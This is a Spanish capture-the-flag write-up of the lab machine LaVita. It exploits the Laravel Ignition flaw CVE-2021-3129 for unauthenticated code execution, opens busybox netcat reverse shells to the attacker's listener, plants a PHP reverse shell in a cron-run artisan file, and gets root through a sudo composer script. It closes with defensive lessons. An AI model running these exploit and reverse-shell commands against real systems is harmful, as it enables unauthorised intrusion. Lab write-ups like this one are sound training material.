the_open_door
café
ESEN

LaVita

Proving Grounds PracticeMediaLinux192.168.149.38

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#laravel#ignition#cve-2021-3129#debug-mode#rce#pspy#cron#writable-artisan#sudo#composer#gtfobins#oscp
TL;DR. LaVita expone una app Laravel 8.4.0 con el modo debug activo. Ignition arrastra la CVE-2021-3129, una RCE no autenticada que nos deja como www-data (Laravel Ignition (CVE-2021-3129)). pspy revela un cron que ejecuta php artisan como el usuario skunk; el fichero artisan es escribible por www-data, así que lo sobrescribimos con una reverse shell y pivotamos (cron sobre script escribible). skunk puede lanzar composer por sudo sin contraseña, y el truco de GTFOBins nos da root (GTFOBins: sudo).

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Dos puertos abiertos:

ping -c 1 192.168.149.38
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.149.38
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 192.168.149.38 -oN targetedScan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: W3.CSS Template

Web - TCP 80

Un dirsearch sobre el 80 encuentra rutas típicas de Laravel: /login, /register, /home (redirige a /login) y, sobre todo, /_ignition/execute-solution, el endpoint del depurador Ignition:

dirsearch -u http://192.168.149.38/ -t 200 --exclude-status=404,403,503
[11:25:18] 405 - /_ignition/execute-solution
[11:25:31] 302 - /home  ->  http://192.168.149.38/login
[11:25:32] 301 - /images
[11:25:34] 200 - /login
[11:25:41] 200 - /register
[11:25:41] 200 - /robots.txt
[11:25:48] 200 - /web.config

La app permite registrarse, así que creamos una cuenta en /register:

Formulario de registro de LaVita con un usuario de prueba test/test@test.com

Al entrar, el panel es un "Dashboard Testing Area" con un detalle revelador: un botón que activa el modo debug de la propia aplicación (APP_DEBUG), que por defecto está [DISABLED]:

Dashboard de LaVita: botón Enable, "for debugging purpose you can turn APP_DEBUG" en estado DISABLED

Pulsamos Enable y APP_DEBUG pasa a [ENABLED]. Ese es el interruptor que abre la puerta: la CVE que buscamos requiere el modo debug activo, y la propia web nos lo ofrece:

Dashboard con APP_DEBUG en estado ENABLED tras pulsar Enable

Con el debug activo, forzar un 404 muestra la pantalla de error de Ignition, que revela la versión del framework, Laravel 8.4.0:

Página de error de Ignition que revela la versión Laravel 8.4.0

Laravel 8.4.0: identificación de la vulnerabilidad

Una búsqueda por la versión asocia Laravel 8.4.x con la CVE-2021-3129:

Búsqueda "Laravel 8.4.2 cve" que apunta a la CVE-2021-3129 (INCIBE, NVD)

Laravel <= 8.4.2 con Ignition < 2.5.2 y APP_DEBUG=true es vulnerable a la CVE-2021-3129: la ficha del CVE lo confirma ("Ignition before 2.5.2... exploitable on sites using debug mode with Laravel before 8.4.2"). El endpoint /_ignition/execute-solution permite a un atacante no autenticado ejecutar código:

Ficha INCIBE de la CVE-2021-3129: Ignition &lt;2.5.2, exploitable en modo debug con Laravel &lt;8.4.2

Buscando una PoC aparece el exploit de knqyf263:

Búsqueda "CVE-2021-3129 poc" que apunta al repo knqyf263/CVE-2021-3129

Explotación

CVE-2021-3129: RCE en Ignition

El fallo está en cómo Ignition procesa las "soluciones" que ofrece al programador: manipulando el fichero de log de Laravel (envenenamiento de log) y encadenando una cadena de deserialización (phpggc, gadget monolog_rce) se logra ejecutar comandos (Laravel Ignition (CVE-2021-3129)). Usamos el exploit de knqyf263, que automatiza el envenenamiento del log y el disparo de la solución. Primero comprobamos la RCE leyendo /etc/passwd:

git clone https://github.com/knqyf263/CVE-2021-3129
# En exploit.py: Exploit("http://192.168.149.38/", "cat /etc/passwd")
python3 exploit.py

exploit.py de CVE-2021-3129 devuelve el contenido de /etc/passwd de LaVita

[*] Try to use monolog_rce1 for exploitation.
[i] PHPGGC not found. Cloning it
[*] Result:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...

El exploit clona phpggc, genera el gadget monolog_rce1 y devuelve el /etc/passwd de la víctima: la RCE está confirmada. Confirmada la ejecución, cambiamos el comando por una reverse shell con busybox. Dejamos Penelope a la escucha en el 22:

penelope 22

Luego volvemos a lanzar el exploit para dispararla:

# En exploit.py: Exploit("http://192.168.149.38/", "busybox nc 192.168.45.238 22 -e bash")
python3 exploit.py

El exploit lanza la reverse shell y Penelope recibe la sesión como www-data

(Penelope)> listeners add -p 22
[+] Got reverse shell from debian~192.168.149.38-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
bash-5.1$ whoami
www-data

La shell corre como www-data.

Post-explotación

Pivote a skunk: cron sobre artisan escribible

www-data no tiene la user flag. Subimos pspy (repo) para observar los procesos periódicos sin necesidad de leer /etc/crontab (cron sobre script escribible). Lo servimos desde Kali:

locate pspy64
cp /home/krmena/Downloads/pspy64 .
python3 -m http.server 8080

Kali localiza pspy64, lo copia y lo sirve por http.server 8080; la víctima lo descarga

$ locate pspy64
/home/krmena/Downloads/pspy64
/home/krmena/tools/pspy64
/home/krmena/vulnhub/symfonos3/exploits/pspy/pspy64
/machines/expressway/exploits/pspy64
/machines/late/content/pspy64
/machines/pandora/pspy64

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.149.38 - - [29/Jan/2026 20:26:49] "GET /pspy64 HTTP/1.1" 200 -
wget http://192.168.45.238:8080/pspy64 && chmod +x pspy64
./pspy64
CMD: UID=1001  PID=16607  | /usr/bin/php /var/www/html/lavita/artisan clear:pictures
CMD: UID=1001  PID=16626  | rm -Rf /var/www/html/lavita/public/images/*

Un cron ejecuta php artisan como UID 1001. Comprobamos quién es ese UID y los permisos del artisan:

id 1001
ls -l /var/www/html/lavita/artisan
uid=1001(skunk) gid=1001(skunk) groups=1001(skunk),27(sudo),33(www-data)
-rwxr-xr-x 1 www-data www-data 1686 Jan 29 17:05 /var/www/html/lavita/artisan

La clave: artisan pertenece a www-data, nuestro usuario actual, así que podemos reescribirlo. El cron lo ejecutará como skunk. Dejamos un nc a la escucha en el 22:

nc -nlvp 22

Sustituimos su contenido por una reverse shell PHP y esperamos al siguiente ciclo:

echo '<?php system("busybox nc 192.168.45.238 22 -e bash");?>' > /var/www/html/lavita/artisan

Se sobrescribe artisan y el cron devuelve una shell como skunk

listening on [any] 22 ...
connect to [192.168.45.238] from (UNKNOWN) [192.168.149.38] 59954
whoami
skunk
skunk@debian:~$

Al siguiente ciclo del cron, el nc recibe la conexión y whoami devuelve skunk.

Local

cat local.txt && whoami && hostname && ip a

local.txt leída como skunk en LaVita (debian)

764fe587c53452a51b1dc065d222a0a9
skunk

Escalada de privilegios

sudo composer sin contraseña

skunk (que además está en el grupo sudo) tiene un permiso sudo específico y sin contraseña:

sudo -l

sudo -l de skunk: (root) NOPASSWD: /usr/bin/composer --working-dir=/var/www/html/lavita *

User skunk may run the following commands on debian:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/composer --working-dir=/var/www/html/lavita *

Aparte del (ALL : ALL) ALL (que pediría la contraseña de skunk, que no tenemos), la línea sin contraseña es la de composer. composer figura en GTFOBins: define scripts en composer.json que se ejecutan con run-script:

GTFOBins de composer: echo '{"scripts":{"x":"/bin/sh"}}' &gt; composer.json; composer run-script x

Como el comando permitido apunta a --working-dir=/var/www/html/lavita y admite argumentos extra (*), colocamos un composer.json con un script que lance /bin/sh y lo invocamos por sudo (GTFOBins: sudo):

echo '{"scripts":{"x":"/bin/sh"}}' > /var/www/html/lavita/composer.json
sudo /usr/bin/composer --working-dir=/var/www/html/lavita run-script x

composer run-script bajo sudo abre una shell y whoami devuelve root

skunk@debian:~$ sudo /usr/bin/composer --working-dir=/var/www/html/lavita run-script x
Do not run Composer as root/super user! See https://getcomposer.org/root for details
Continue as root/super user [yes]? yes
> /bin/sh
# whoami
root

Composer avisa de que no conviene ejecutarlo como root y pide confirmación; respondemos yes y el script x arranca /bin/sh como root.

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en LaVita

dc8ec04b85c356de4e3c9b65438048ec
root

Cadena de ataque

HTTP (80)  --  Laravel 8.4.0 con APP_DEBUG=true
        │  CVE-2021-3129: RCE en Ignition (log poisoning + monolog_rce)
        ▼
www-data
        │  pspy: cron ejecuta php artisan como skunk (UID 1001)
        │  artisan escribible por www-data -> reverse shell
        ▼
skunk  (local.txt)  [grupo sudo]
        │  sudo NOPASSWD composer --working-dir -> run-script /bin/sh
        ▼
root  (proof.txt)

Lecciones aprendidas

  • APP_DEBUG=true en producción es una puerta abierta. Ignition es una herramienta de desarrollo; con el modo debug activo y una versión vulnerable, la CVE-2021-3129 convierte la pantalla de errores en una RCE sin autenticación. En producción, APP_DEBUG debe ser false.
  • pspy ve lo que el usuario no puede leer. Sin acceso a /etc/crontab, pspy mostró que un cron corría artisan como otro usuario. Observar procesos por debajo es tan útil como leer ficheros de configuración.
  • Un script de cron escribible es un pivote directo. Que artisan fuese propiedad de www-data pero se ejecutara como skunk bastó para saltar de un usuario a otro. Los ficheros que corre un cron nunca deben ser escribibles por una cuenta de menor privilegio.
  • sudo sobre composer (o cualquier binario con scripts) es root. GTFOBins recoge decenas de binarios que, con sudo, ejecutan comandos arbitrarios. Un permiso NOPASSWD sobre uno de ellos equivale a dar la contraseña de root.
Cheatsheet de comandos 10 comandos

Repaso rápido